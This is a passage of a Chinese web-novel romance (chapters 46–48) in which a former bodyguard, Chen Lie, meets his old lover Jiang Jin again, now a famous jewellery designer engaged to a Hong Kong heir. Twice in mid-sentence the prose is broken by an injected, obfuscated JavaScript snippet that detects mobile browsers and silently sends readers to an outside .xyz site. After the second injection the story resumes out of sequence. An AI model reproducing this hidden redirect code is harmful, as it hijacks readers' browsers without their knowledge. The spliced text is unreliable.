浮尘飞舞间,一个年老的妇人坐在藤编椅上,轻轻一动,和她一样老朽的藤编椅就发出嘎吱声。 “小列?”老妇赶忙抬起双手去握陈列的手:“真是你回来了啊。” “阿姨。”陈列看着凶,却耐心地任由她握着自己的手:“我来看看您。” 斜马尾的女人这时走进屋来:“喝什么?” 陈列:“水就好。” 女人名叫汪露姗,便是当年帮陈列作证的那女侍应生。 在S酒店见惯了纸醉金迷的生活,下班了却要回到这般现实的生活里来,毕竟侍应生的收入不高。 她母亲患有长期的慢性病。陈列去越南以后,国内唯一与她保持了联系,时不时寄一笔款项作为医药费。 他是懂感恩的人,她自是感激不尽。 只有陈列知道自己的私心。 他是一个没有母亲的人。所以对这般骨血亲情,他总狠不下心。 就像对曾经的姜堇和白柳絮一样。 「姜堇」。 当这个名字在心头浮现时,陈列几乎恍然了一瞬。出国七年,他从没有一次想起过姜堇,又或者是他让自己刻意不要去想。 一回到江城,也不知是潮湿的土地有什么魔力,让七年没想过的人,猝不及防挤进记忆里来。 “怎么了?”汪露姗问:“在想什么?” “没有。”陈列回神:“我该走了。” “留下吃了饭再走吧。” “不了。”陈列礼貌拒绝。 “那我送你出去。” 两人走出平房,刚巧对面一个婶婶出来倒水,对汪露姗挤眉弄眼笑道:“小汪,男朋友啊?帅的咧。” “不不,不是。”汪露姗急忙解释。 等婶婶回屋后,汪露姗才松一口气,对陈列笑道:“你这样的性格……” 她含笑对陈列打量一番:“应该从来没喜欢过什么人吧?” 陈列从不写信、也从不打电话,每次汇款也不留下只言片语。 他看起来像一座沉默的冰山,有棱有角,总是拒人于千里之外。 此时夕阳西沉。 临江的城市夕阳总格外像些。越南也是,江城也是,让陈列想起无数次在臭水河畔看过的夕阳,他站在甲板上,旁边一条破旧的小船摇摇荡荡。 好像拎着他的一颗心,也跟着摇摇荡荡。 他收回了视线,回答汪露姗方才的问题:“没有。” “我从来没有喜欢过任何人。” 垂落的视线,掠过平房边不知由谁照料的一方小花圃。 那些家养的娇艳欲滴花朵旁,花圃边没被围住的泥地上,巧了—— 正开出一簇簇生命力蓬勃旺盛的淡紫小野花。 它的学名叫紫花地丁,总开在荒野,属堇菜科。 曾经有个女孩,以此为名。 46. 再遇 陈列并不想对自己承认,他在事发一年后,主动联系过一次姜堇。 那时他在越南,一个深夜,沉默地拨通姜堇曾经的手机号。 却只迎来一个冰冷机械的女声:“您所拨叫的号码是空号……” 陈列也不知自己中什么邪,不肯挂断,一遍遍听那机械音敲打在他心上。 保镖这份职业不能喝酒。 于是他抽烟抽得更凶,听着那机械女声循环,一根根接连不断地抽下去。 直到电话响到断了,他重新又打一次。 等到天光亮起,肺部是一种灼烧的疼。 便是在那夜以后,他再也没想起过姜堇。 到现在,不想姜堇已成为了一种习惯。 客观来说,陈列回江城以后的生活过得有些颓。 他的存款够用,城中村更是没什么大开销。他没急于找工作,主要也不知做什么工作才好。他每天睡觉,吃鸡胸肉和西兰花,买猫粮喂流浪猫。 后来实在无聊,就开始自己做饭喂流浪猫。 只是每天晨跑和去健身房的习惯保留了下来。毕竟身体已适应这样的体能训练强度。 某天去城跑时。 “诶等等!”某个女人追着一辆疾行的公交车。 陈列的心突突跳了起来。 女人瘦削、高挑、白皙,一头乌浓的发披在肩头。穿白衬衫和黑西裤,手里拎着个看起来重重的电脑包。 大概追不上这趟公交上班便会迟到,她跑得有些狼狈。 陈列几乎立刻调转了跑步的朝向。 向前跑了几步,却又一边在心里骂自己、一边转回头来。 他几个跨步由路边追上那女人,在心里告诉自己——只看一眼,只看一眼她现在过得怎么样就好。 看清女人的面容时,唇角却自嘲地挑起来: 那根本不是姜堇。 他怎会那么巧遇见姜堇呢?且不说江城何其大,现下姜堇还在不在江城都没人知道。 多半是不在了。 陈列回到自己的出租屋去喂流浪猫。 又一次晨跑时,陈列遇到另一个年轻女人—— 事后他想,要是没有晨跑就好了,是否他的命运就会彻底调转另一个方向。 女人留短发梨花头,很元气的一张脸,看起来比陈列还小两三岁。 她跳着脚追两个男人:“你们给我还来啊!那是我要参加比赛的!” 看样子是遇到毛贼了。 陈列跑过去,轻轻松松超过了她,轻轻松松追上了那两个毛贼,在那两人想分头逃跑时,又轻轻松松把其中一个掼翻在地。 攥着拳在后面追得上气不接下气的年轻女人:“……” 陈列从其中一个毛贼怀里,掏出一个小小蓝色丝绒盒,朝女人走过去:“你的?” 女人忙不迭接过狠命点头:“谢谢啊谢谢,今天要找不回这个,我的人生就完蛋了。” 陈列心想:人生哪有那么容易完蛋。 他转身欲走,却被女人拽住:“诶帅哥,帮我个忙呗。” 她猛然凑近陈列:“你眼下的小疤怎么回事?好酷啊。” 陈列皱着眉往后仰,他不习惯这么近的距离。 眼下的这枚小疤,他也从不愿提及。 那是七年前的S酒店里。 旁边的女宾见到他那柄小刀时,尖叫的同时把手里的水晶杯摔在地上。 他被警察压倒在地,侧颊压在一枚细小的水晶玻璃渣上。他望着姜堇的背影,那时他感到一种由衷的冷,其实是一种痛感。 从此留下了一枚小小的疤。 像眼泪,像钻石,像一颗小小的心脏。 陈列不喜欢。陈列情愿它什么都不像。 女人死死拽着陈列:“帅哥,相遇就是缘,你跟我去个地方。我给你报酬!看你这么帅,我还可以多给你一点!” 陈列的眉更深地蹙起。 女人连连摆手:“不是不是,不是叫你出卖色相的意思。” “是这样,我是珠宝设计专业的应届毕业生,今天是去参加江城的珠宝年展。我的设计想别出心裁嘛,做了一枚单颗的男士钻石耳钉。” “求求你去给我当个模特,展示效果绝对噌儿地倍增!” 陈列从不是什么热心情的人,正要拒绝。 女人拽着他:“求你了,今年评审会的主席是伯明翰城市大学出身,正儿八经的皇家审美,我在业内的前途全靠今天一搏了。” 陈列的左眼皮跳了下。 伯明翰城市大学。 姜堇曾费尽心思想去读的大学。珠宝专业最顶级的存在。 在得罪了姜启川以后,姜堇也应该不可能再去了吧。 陈列也不知自己出于什么心态,他明明已确认了自己对姜堇不关心、不在意、不记起,甚至姜堇曾经那张脸在他记忆中都已模糊了。 却任由眼前的这陌生女人,拉着他往展厅而去。 他问女人:“拍不拍照?” “不拍不拍。”女人应承道:“今天所有作品都是有著作权的,你放心,不能拍照,不会侵犯你隐私。” 陈列终是跟着女人进了展厅。 诚如姜堇曾今所说——珠宝,就是一片纸醉金迷的世界,最接近于权势顶点的存在。 无须过多赘述,它们只需存在,足以令人目眩神迷。 一只只玻璃展柜由特殊角度的灯光打照,美得近不真切。 里面陈列着一件件冠冕、项链、耳饰……就连最不起眼的钻石也有拇指盖那样大。 女人对陈列介绍:“这是由今年评审主席私人展出的,人家家底厚着呢。” “不行。”她揉揉自己的胃:“我又想去厕所了,你在这里等我。” 蹿出两步又回过头来指着陈列:“你别跑啊!千万别跑!” 陈列没打算跑。 他靠墙站着,眼神沉默地扫过四周,先确认逃生通道的方位,这是他的职业习惯。之后,他的视线扫过端着软饮走过的女侍应生们。 今天的珠宝展规格高,连侍应生们都经精挑细选,个个有着出挑的一张面孔。 陈列想起那天早上追着公交车的狼狈女孩。 不知姜堇现在过得好不好。 如果她还在江城的话,会不会混进这一列的女侍应生中,来触一触曾经的梦。 这时,活动主持人执着话筒,走到最大的一方展柜边。展柜里流光溢彩,展示着一顶钻石冠冕。 主持人介绍道:“这一顶曼叶状王冠,是为Talhouet伯爵夫人制作的王冠,环形藤蔓的设计灵感源自LoulsXVI,是本届评审会主席的家族私藏。” “感谢主席让我们有机会窥得这举世瞩目的珍宝。下面让我们掌声有请主席——” 陈列的眼神不甚在意地望过去。 他并非真正想看,而是出于一种观察四周的职业习惯。 一名乌发雪肤的女子走了出来。 她穿的并没有过分隆重,并不像其他女性贵宾一样穿晚礼服,穿一件利落的白色丝缎背心配窄脚西裤,一双小羊皮高跟鞋,一件阔肩西装随意披在肩头。 显得她有种举重若轻的潇洒利落感,衬出她五官的清冷妩媚。 她本人是珠宝设计师,浑身上下却未佩戴一件珠宝,一头乌浓的长发也只是随意披在肩头。唯一的妆点是她浅棕色的左瞳之下,贴一枚水滴形的小小钻石。 像一枚眼泪,可她笑得那般清寒得体,傲慢得毫不讨人厌,迸出一种奇异的神采来。 众人第一次见把珠宝运用得如此自如的女人,窃窃议论起来。 更遑论她那样一张面孔,说是玫瑰太低俗,说是茉莉太寡淡,似是雪地反射的月光凝结而成。 陈列浑身似冻住。 即便她比以前丰腴了些。 即便她化着精致的妆容,连看似随意的发型都有细心打理过的光泽感。 即便她从容不迫,早已看不出穿劣质红裙兜售酒液的模样。 可她是姜堇。 带陈列来展厅的女人,这时匆匆跑了回来:“什么?主席已经亮相了?错过了她的第一面真是抱憾千古啊!” 她说话恁地浮夸,性子也是自来熟,跟陈列聊到:“怎么样她美吧?在当下的珠宝设计界,论才华、论美貌,她都是第一流的。她甚至名字也美,叫做姜雪照。” 雪地映照出的月光,凝成这样一个人。 如果陈列不是曾与她那般熟悉,曾经在滚烫的夏夜、与她在一张窄窄的木板床上纠缠、想把她揉进自己的皮肤纹理的话。 陈列几乎要相信她是另外一个人了。 是一个与姜堇长得很像的、另外的人。 他几乎本能地避开视线去,立刻想离开。 女人拉住他:“哎你干嘛?都到这节骨眼上了你不会要走吧!马上就到评审环节了!” 参赛的年轻设计师们已把自己的作品展示出来,女人硬拉着陈列站到自己的展架边。 “甚至不用你戴!你就站在这烘托个调性就好。”女人跟陈列说。 那个叫姜雪照的女人,一件件作品看过来。 陈列半垂着眼睫。 既然他是有可能认不出她的。 那么她也有可能认不出他。 他情愿她认不出她么? 当姜雪照走到他面前时,女人在一旁紧张得语无伦次:“姜、姜小姐好,这是我本次的参赛作品‘烧’,这是我的模特,名叫……” 她这才想起忘了问陈列的名字,压低声耳语:“你叫什么来着?” 陈列不答,只是看着眼前的姜雪照。 她分明也那样年轻,在设计界却已有了不低的地位。随着她走过来的动作,西装从肩头滑落,露出一丝雪白的肩线,她气定神闲把西装拉好,瞩目细看着女人的设计。 那一枚名为“烧”的钻石耳钉,和陈列眼下那枚小疤的形状极为相似。 钻石的净澈光泽,让它似在冷冽燃烧。 姜雪照的目光落在陈列眼下的那枚小疤上,良久,对陈列抬起纤白手指,礼貌笑道:“你好,姜雪照。” 陈列只是看着她。 设计师从身后撞了下陈列的胳膊:“握手呀!”这帅哥愣着干嘛呢!要是得罪了评审主席,她的设计生涯就全完了! 陈列抬起手,很轻地捏了一下姜雪照的指尖,旋又撤开:“姜小姐好。” 她的皮肤真凉。 他的声音也不带一丝温度。 当众人的视线都被珠宝作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593894|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品吸引时,丝竹管弦的背景音乐掩盖下,姜雪照凑近陈列耳畔,雪色指尖又轻巧地拎一拎西装。 她冷冽清新的气息呵在陈列颈侧,混着奢侈的香水味:“你不会以为我没认出你吧?” 她轻轻地叫他的名字:“陈列。” - 她退开一步去,脸上挂着浅淡而礼貌的笑意。 甚至有余裕朝陈列一点头。 便领着评审团的众人往前走起。众人簇拥着她,她是月光落在床头心尖的那一抹,她自在悠然,其他人痴痴仰望。 陈列的视线几乎是本能地弹落在地上。 一大群人间只能看见她浓密的发和白色西装的肩线。 记得以前在那条破旧的小船上,姜堇蹲在甲板上洗衣服时,陈列站在一旁抽烟。姜堇仰起雪白面孔来看着他:“我只在学校里穿白,其他时间我都不穿。” “很多人以为黑色是掩藏一切的颜色。”姜堇视线点落在陈列的黑T上,笑了笑:“其实不是,白色才是,你看雪色吞没了一切,泛出来是一种刺瞎人眼睛的白。” “其他时间我不穿白是因为,”她拎了拎手里清洗的那件白衬衫:“白色太矜贵了,不适合我们这种人。你看,随便沾上一点点泥,洗都洗不掉。” 可是现在,她随意穿着最矜贵的白,再不惧染上一丝尘埃。 她看上去距那个住在破船上的孤女,已那般遥远了。 设计师忙着问陈列:“姜小姐刚才跟你说什么?是不是说我的作品?” 陈列望着姜堇的背影:“她是谁?” “怎么样被她迷倒了吧!”设计师一副与有荣焉的神色:“她啊,我刚才说过了吧,她的名字叫姜雪照,雪色的雪,照见的照。名门出身,父母在毛里求斯有很大的集团,她从小周游列国,后来考入伯明翰城市大学,是教授青睐有加的天才。” “她这样的人,真正出道即巅峰。才华,美貌,资源,她什么都不缺。”设计师叹道。 她见陈列仍望着姜堇背影,自来熟地拍一拍陈列的肩:“别看入迷啦,她这种人间富贵花远观就好,哪是我们普通人所能企及的。” 陈列陡然想起去汪露姗家时。 那家养花圃边的泥地里,开着一簇簇紫色的小野花,野蛮美丽而生命力旺盛。 陈列陷在自己的思绪里,以至于当另一个男人露面时,他才意识到设计师的话还没说完。 设计师继续道:“真正能攀折她的人啊,必须得是——” 陈列望着展馆的东侧入口处,人群骚动起来。不一会儿,宛若什么神鬼降临,人群自动往两边避走,在无人指挥的情况下齐整整让出两条道来。 一个男人,坐着轮椅,瘦削到有些枯槁的程度,反显出某种病弱的清矍之气。 他皮肤是海水浸过一般的苍白,脸颊微往下凹陷,因而显得眼神有些阴霾。除此之外,他算得上一个英俊的男人。 他也穿正装,清细瘦长的指尖摁着电动轮椅的遥控,全金属制轮椅装配了全球最领先的AI系统,和他定制限量的袖扣一般闪闪发亮。 姜堇含笑朝他走过去的同时,设计师的声音在陈列耳畔响起: “非得要滕家二少这样的人才能配得起。滕家你知道吧?港岛那个豪门啊,生意涉及房产、建筑、船务、酒店,经常在新闻和小报上看见的。” 陈列望着姜堇走到男人身边,纤白的指尖轻轻搭在男人肩头,俯下身含着些笑意,将就着男人轮椅高度似的,与男人低语了几句什么。 设计师继续道:“滕家二少滕柏仁,除了腿脚不方便外其他没得挑,做生意的天纵奇才,小报都在传他会成为滕家新一代的掌权人。他爷爷几房姨太太,父兄也是乱得很,唯独他连绯闻都没传过,认识姜小姐后很快订了婚。” “两人也算门当户对。”设计师叹道:“他现在是她未婚夫呢,很宠她的,没想到今天亲自来了。” 一番话敲在陈列的心壁上,有嗡鸣之意,一路传到耳畔。设计师还在说着什么,变得模糊而遥远起来。 这是江城的又一个盛夏。 展馆的冷气开得太足,让窗外的炽阳、浓荫、蝉鸣显得那般不真切。 真切的是陈列记忆里十八岁的夏天。他和姜堇在破旧的船舱里,电路不稳,连一台电扇都没有。逼仄的空间里都是汗和荷尔蒙的味道,两人在窄窄木板上拥抱纠缠,似要把彼此揉进自己怀里。 皮肤纹理间都是黏腻的汗。姜堇软软的手臂勾着他后颈,睁着浅棕色的眼,唇也微张着,近乎失神地低低唤他名字:“陈列。” 陈列拔腿往展馆外走去。 “诶!”设计师在他身后喊:“怎么这就走了?评审结果还没公布呢,你不想知道我得奖没啊?还有,我还不知道你叫什么名字呢。” 陈列暂停下脚步,回头:“陈列。” “很适合你的名字啊。”设计师道:“是冷冽的冽,还是热烈的烈?哎我们加个微信吧,说好要给你报酬的。” 陈列已离开了。 走出展馆,江城独有的湿热的风扑面一拂,真实的夏天在周身复活,展馆内沁凉到虚假的夏天被抛在脑后。 在一阵聒噪的蝉鸣中,陈列被梧桐浓荫间漏下的光斑晃得眯了眯眼,在唇间点了根烟,默然地往前走去。 47. 航班 陈列穿着背心短裤蹲在巷口喂猫时,几个年轻的女孩从巷前路过。 “嘻,好帅。”其中两个掩嘴笑道,对着陈列多看一眼,跟同伴一阵风似的跑了。 陈列租住的是城中村一条很有生活气息的窄巷。乌瓦的破损昭显着年代气息,屋檐一角挂着不知那户养的八哥,好像还有人家养鸡,每天清晨能听见隐隐的打鸣,空气里弥散着鸡屎的臭味。 攀爬在旧墙上的葡萄藤有些瘦弱,看起来和这不年轻的巷子一般老朽。排水沟也是细细的,旁边生着经年洇出的青苔。 陈列的背心下露出流畅紧致的肌肉,寸头,趿一双人字拖,唇间叼一根烟。 姿势落拓慵懒,又因凌厉的五官,不笑的时候显出些凶相。 偏偏这样一个男人,正蹲在巷口喂一只瘦弱的流浪猫。 还是他自己做的,很细心地添了鱼碎,做成幼猫易于入口的半糊状。 猫埋头大口吞咽着。陈列并着两根手指,挠一挠猫毛茸茸的头。 “这么瘦。”他说。 简直瘦得像曾经的姜堇。 “陈列。”这时有人唤道。 陈列看一眼,站起身来先是掐灭了唇间的烟。 他看起来糙,却是个很尊重女性感受的人。来的是汪露姗,他没有叫人吸二手烟的打算。 “你怎么来了?”陈列问。 汪露姗笑着扬扬手里的网兜:“我妈听说你要走,叫我来看看你。她自己炸了些丸子,非叫我给你拿过来。我说你都要走了,她却拗得很。” “你要是吃不掉的话,”汪露姗道:“就分给邻居街坊吧。” “进来。”陈列打开门,引着她进屋。 汪露姗环视一圈。 这是一个典型单身男人的房间。 东西不多,却乱。采光不好,下午三点也显阴暗,唯独窗口透进的一线阳光中有浮尘乱舞。陈列拿起一件搭在椅背的T恤,套在身上,又把另一件很随意塞进沙发缝隙。 他仍是不习惯把过于私人的一面展示给人。 “你这屋子……”汪露姗噎了噎:“要不是你马上要走,我非得给你收拾收拾。” “我这只有白水,喝白水行么?”陈列问。 “行。”汪露姗点点头。 陈列给汪露姗倒了杯水,放到她面前的茶几上。汪露姗端起喝了口,问:“今晚的机票?” “嗯。” 陈列已打算去越南了。 他不承认是因为在展会上遇到了姜堇。而是他最近在某个城中村看到几个黑衣人,总觉得面孔气质有些熟,他怀疑行踪暴露,又有人来找他追债。 汪露姗双手摁在沙发边缘:“还能联系你么?” “我的手机号应该会换。”陈列沉默一瞬:“到时联系你吧。” 汪露姗点头:“行。” “你先坐会儿。”陈列道:“我厨房还有点给猫做的饭,我去把饭分一分,先拿出去。” 不然这么热的天该坏了。 陈列租住的这老房子也没空调,只有一台老电扇吱悠悠地吹。 汪露姗笑道:“行。” 其实她跟陈列待在一起时总有些紧张。陈列沉默且凶相,尽管知道他是好人,还是感觉到他身上过分浓烈的荷尔蒙味道。 陈列进厨房后,汪露姗坐在沙发上环视屋内。 这间房子尽管他住得不算久,也处处沾染着他身上的气息。 这时有人敲门。 汪露姗叫他:“陈列。” “应该是来收钥匙的人。”陈列已退租,钥匙就放在茶几上。他叫汪露姗:“你帮我拿给房东,我一会儿不用了。” “好。”汪露姗拿了钥匙站起身来。 推开门,只觉得一阵清幽且高雅的香气袭来。 门外站着的女人,只看她一眼就知她不属于这里。 盛夏的天气里她穿米白套装,小西装配阔腿西裤,一看就是从冷气充盈的车上刚下来。西裤脚搭着细高跟鞋,让人很担心地面的灰尘会蹭脏她的西裤。 她的长发看似随意披在肩头,却有精心打理过的光泽。妆很淡,唇膏是入时的裸色。 反衬出她五官的清雅艳绝来。 她看了汪露姗一眼,脸上仍是那般礼貌间带一点点疏离的笑意,开口问:“请问陈列是住在这里么?” 声音也宛若山涧雪。 汪露姗点点头:“是。” 屋内一阵脚步声传来。 一个高大身影步出,正是陈列,T恤短裤,不羁随性的打扮。嘴里叼着颗丸子,手里还拎着一袋,对着替姜堇开门的女人道:“你妈炸的这丸子……” 这一幕太琐碎、太温馨、太日常了。 姜堇对着眼前的女人多看了眼。 陈列意外于门外的人竟是姜堇,咀嚼的动作顿了下。 他本以为来的是房东,想说汪露姗妈妈辛苦炸的丸子别浪费,自己尝一颗后让房东分给邻居。 陈列保持沉默,倒是姜堇先对汪露姗笑道:“我是陈列的老朋友,来找他叙叙旧。” 汪露姗:“那你们聊,我先走了。” 姜堇倒是没说什么“不如我改天再来”之类的客气话,含笑让到一旁,目送汪露姗出门,还十分得体地同她道别。 “对了陈列。”汪露姗挎着包走出几步后,回头:“记得把你之后新换的手机号告诉我。” 陈列应下:“好。” 姜堇站在门口,偏一下头问陈列:“不让我进去?” 陈列挡在门口沉默。 姜堇:“可是人来人往的,很多邻居在看。” 陈列终是让开了门口。 姜堇走进锁了门,先是环视一圈,没有汪露姗那般收拾的意图,对陈列的乱和颓她早习以为常,从来都是听之任之的态度。 陈列坐在沙发上,两条长腿分开,手肘架在膝头略勾着腰,看也不看她。 姜堇隔着张茶几站在他对面。 茶几上放着汪露姗喝过一口的那杯清水,杯缘浅浅印着汪露姗的唇膏印,姜堇垂眸看了眼。 陈列被这莫名暧昧的氛围弄得无端烦躁起来,先发制人地开口:“姜小姐,怎么会大驾光临到这种地方?” 他说话间往后靠住沙发背,一只手展平搭上去,那模样看上去就有些痞。 姜堇问:“哪种地方?” 陈列:“不适合毛里求斯商贸集团的大小姐、著名珠宝设计师、港岛豪门少奶奶来的地方。” 陈列尽量让语调保持平静。可他不确信自己话语的内容,是不是有克制不住的语带讽刺。 姜堇挑着唇角点点头:“如果是姜雪照的话,的确是不适合来这样的地方。” 她太游刃有余了。 陈列控制自己不要被她的态度激怒,压压下巴:“那姜小姐还不离开?” “这地方不适合姜雪照来。”姜堇放下手包:“却适合我来找老朋友叙旧。” 她把西装外套脱下来,搭在旁边的椅背上。屋内太热了,一台摇头的小电扇根本降不了温,她穿内搭的无袖西装小外套,露出平直的锁骨和雪色的双臂。 扬起手腕来,把一头浓密披肩的发盘了两盘。没有皮筋,她垂眸看见茶几上有陈列的一支笔,便拿起来当簪子般固定住自己的发髻。 露出天鹅般的颈项。 陈列听她这样说,笑了声,无限嘲讽的。 “刚听说你要走。”姜堇问:“去哪里?” “与你何干?”陈列双手插在一起,手指随意地交叠着。 姜堇踏着高跟鞋走过来,细细的鞋根钉在地板上,沓沓,沓沓。她俯身,倏然凑近陈列的脸,似是仔细去探究陈列眼下那枚似钻石又似眼泪的小疤。 抬起纤细的指,竟似想要抚一抚。 陈列原本靠着沙发背,懒散且颓,突地抬起手来捉住姜堇细瘦的手腕,一瞬猛然的动作让人想起他还是那只蛰伏的豹。 他宽大的手掌铁钳般箍着姜堇的腕子,姜堇白腻的皮肤很快见了红。他的语气和目光同样阴冷: “你他妈还敢来找我?真当我好脾气是吧?” 姜堇反倒平静。 反问:“那你说,我应该怎么办?” 陈列将她的手腕用力一甩:“好好去当你的姜雪照,就当我没认出你,别他妈来招惹我。” “是吗,陈列?”姜堇忽而笑了笑,带一丝苍凉,让人想起曾经警局路灯下、十八岁时的她。 陈列的心忽而一动,他克制着,听姜堇站直了腰道:“你不会认不出我的,就像我不会认不出你一样。” 陈列:“那又如何?你还想从我这里要什么?” 曾经的姜堇带走了一切。 甚至包括用来买他快乐的那七十块钱。 姜堇又退开一步,看了眼他刚刚随手放在茶几的那袋肉丸子,随手从袋口拈了颗,放进嘴里大口咀嚼。吞咽的同时,她端起桌上的水杯,大口灌入咽喉,口红正正好好覆在汪露姗的唇印上。 当她把水杯放回茶几时,她的唇印已彻底覆盖了汪露姗的。 她做这一切的时候始终看着陈列,唇角上挑,眼神里却没笑意。 尽管她现在化着精致的妆容穿着奢贵的名牌,陈列必须承认,她做这些动作时还是让人一瞬想起曾经的她,野蛮而充斥着不管不顾的生命力。 姜堇问:“是不是不管我跟你说什么,你都会这副态度对我?” 陈列没有任何停顿的点头:“是。” “那好。”姜堇走到门边,啪嗒一声,解开她刚刚反锁的门锁,走了出去。 陈列坐在沙发上。 她的香水味明晰到让陈列生厌的地步。明明人都已经走了,还留下这一室的香水味。 “咚咚咚。” 又有敲门声传来。 陈列疑心姜堇返来,只当没听见。他不理,那敲门声却愈发执着似的,没完没了。她猛一下从沙发站起来,大力拉开门扉时,却见门外站着房东。 “喔唷小陈,你这什么脸色啊?”房东:“我来收钥匙。” 陈列从屋内拿了钥匙和那一袋丸子交给房东,眼尾瞥向巷口。 姜堇蹲在那里,指尖抚弄着陈列刚刚喂过的那只猫。 无论她变了多少,只看她背影的话,还是有着当年少女的单薄。 一如十八岁时的她。 - 姜堇搭乘等在巷口的那辆劳斯莱斯,回到了酒店。 她已有七年没回过江城了。江城变化很大,比如更多拔地而起鳞次栉比的高楼,比如愈加快的节奏,比如她目前下榻的酒店。 这是滕家去年在江城投资修建的超五星级酒店,紧邻那条举世闻名的江。 滕家的酒店产业遍布世界各处。滕柏仁每到一个城市,不喜住滕家投资的房产,而是住酒店。 姜堇乘电梯上到顶层的总统套房。 细细的高跟鞋跟陷落于柔软的长绒地毯中。每当姜堇这样走着时都有一种感觉,好似踏足于一片沼泽间。 风景最好的这间总统套房从不开放给客人使用,只作为滕家二少的私人行宫。 姜堇刷卡开门,脱下西装外套随意扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当如瀑的长发瞬时顺着姜堇的颈间垂落时,姜堇才恍然想起,她的发髻间还插着从陈列那儿顺来的一支笔。 滕柏仁垂眸看了看。 那是一支在路边超市随便可买到的、三两块钱的、没有任何美观可言的水性笔。 滕柏仁毫不犹豫把它砸进了空荡荡的垃圾桶。 咚的一声,似是砸在姜堇的心脏上。 滕柏仁漫不经心地说:“你的身上不该出现这种东西。” 姜堇笑了笑,往窗边走去,扭头问滕柏仁:“开窗透透气,好么?” 待滕柏仁点头后,她把窗户推开一隙。 这种复古往上推着开窗的方式,和姜堇曾住过的旧船很像。姜堇回到江城后,一次也没回过臭水河边,可现在,满江潮湿的水汽迎面扑来,瞬时让她想起曾经臭水河边的空气。 燥热、湿漉、鼓噪着人体内一切的躁动因子。 姜堇抬手抚了抚自己的后颈。 滕柏仁望着她背影:“我怎么觉得你这次回江城……和以前有些不一样了。” “是吗?”姜堇轻曼笑道:“可能工作排得密,太累了吧。” 她一手摁在窗台上,眺望着江景。头顶黑云压城,云层间响着阵阵闷雷。 滕柏仁:“关窗吧,快要落雨了。” 滕柏仁讲普通话的时候,偶尔也带一点粤语腔。 “好。”姜堇关上窗。 当她转过身来的时候,天幕一道闪电,倒影在她身后巨幅的观景窗上。室内灯光照滕柏仁的习惯,调得极暗,闪电的炽白映在姜堇的脸上,使她的神情看上去有些变幻莫测。 姜堇在心里想:陈列。 如果今天这样的天气,你的飞机能起飞的话,那就当是天意。 你走得越远远好,再也不要跟我这样的人纠缠在一起了。 - 陈列已置身于机场。 托运行李的柜台大排长龙。大概无人像他一样,无论来还是去,只背一只容量不大的黑色单肩行李包,并且四周瘪下去,一看就空荡荡。 他望一眼窗外的天色。 夜幕降临,天幕却不似平常的墨色,反而呈出一种过分瑰丽而诡异的蓝紫,时不时被拇指粗的炽白闪电映亮。 陈列收回视线,有女孩过来搭讪:“嗨,请问有手机充电器么?” 陈列:“没有。” 未见得真的没有。 只是他从来并非一个热心的人。 从前是这样。现在更是。 上过一次当了,还能不学乖么? 今晚的天气看起来注定造成大面积的航班延误,一旁候机的旅客们私语着骚动。 陈列从前不怎么在意这些,他对什么都是无可无不可,对生命有种颓然的妥协。今天却有种罕见的焦躁,掏出手机又看了眼。 离飞机原定起飞的时间还有一个小时。 不知怎的他心里有种感觉,如果今晚走不成的话,姜堇一定会再度找上他。 离原定起飞还有半小时的时候。 耳畔机场广播通报着一趟趟航班的延误,能够起飞的只是幸运的极少数。 陈列这时心里还抱着一丝期待。 直到广播里礼貌又冰冷的女声传来:“尊敬的各位旅客,我们很抱歉地通知您……” 报出了陈列的航班号。 陈列一言不发地站起来,把行李包勾在肩上离开了机场。 闪电在他身后几乎划亮了整个天幕。 陈列心想:他是松了口气,还是抱憾? 心底有一瞬生出的想法是:或许他根本不想走。或许他应该给姜堇狠狠的报复。 48. “仇人。” 陈列的出租房已经退了。 他懒得再折腾,乘机场大巴去了附近的某个城中村,随意租了间日租旅馆。 也不知是不是附近有医院的缘故,这日租旅馆的生意倒是很好。 陈列住在这里倒是很安心,因为无需查验身份证。尽管以他的职业习惯,这里的求生通道和防火门统统不合格,一旦发生火灾,简直无路可逃。 楼梯陡峭而逼仄,闪烁着诡异不定的红绿霓虹。 这样的日租旅馆从来都是鱼龙混杂。楼梯口倚着一个衣着暴露的女郎正在抽烟,抱着一只手臂,眼尾风流地睇他一眼:“帅哥,有没有兴趣?很便宜的。” 陈列懒得答话。 只是背着包沉默地路过。 回到自己房间,陈列重重关上门。先去浴室洗去一身水汽,半是生锈的莲蓬头,洗了一半却无热水,陈列懒得搭理,任凭冷水浇在自己紧致的腹肌上。 用毛巾把头发揉至半干,他是寸头,从来懒得吹干,就那样胡乱把被子一裹,倒在了床上。 床褥被套里有种深重的霉味。 陈列侧躺着看着墙。 这样鱼龙混杂的地方人群素质不高,墙上有很多的鬼画符。 有人用圆珠笔写着:[重金求子。] 另一句写着:[祖传苗药治疗阳痿。] 另有很多骂人祖宗十八代的话。 在这一片污言秽语中,墙面上有几道深深的划痕。 像是拿钥匙划上去的。看上去像什么人濒临绝境之时,侧躺在这里夜不能寐,把无处发泄的生命力与愤懑,尽数挥洒在这钥匙尖上。 陈列伸手摸了摸。 他早已习惯一切恶劣的环境。刚到越南那几年,比这更糟的环境也不是没睡过,有时一睁眼与老鼠面面相觑。 这样的日租旅馆对陈列来说不算什么,他很快睡了过去。 第二天一早到了他晨跑时间,他无需闹钟,准时醒来。 他起床洗漱,准备下楼去晨跑。 一下楼,见日租旅馆楼下停一辆劳斯莱斯。 流畅优渥的线条配闪耀的金属漆面,双R交叠的车标让不认识的人也一眼识得它的贵气。 这样一辆车停在城中村实在太扎眼,引得不少人纷纷侧目。 有个胆大的男孩更是凑上前去,对着黑曜石般的车窗左看右看,也无法窥得里面的一星半点。他只当里面没人,索性把车窗当镜子,挖起了鼻孔。 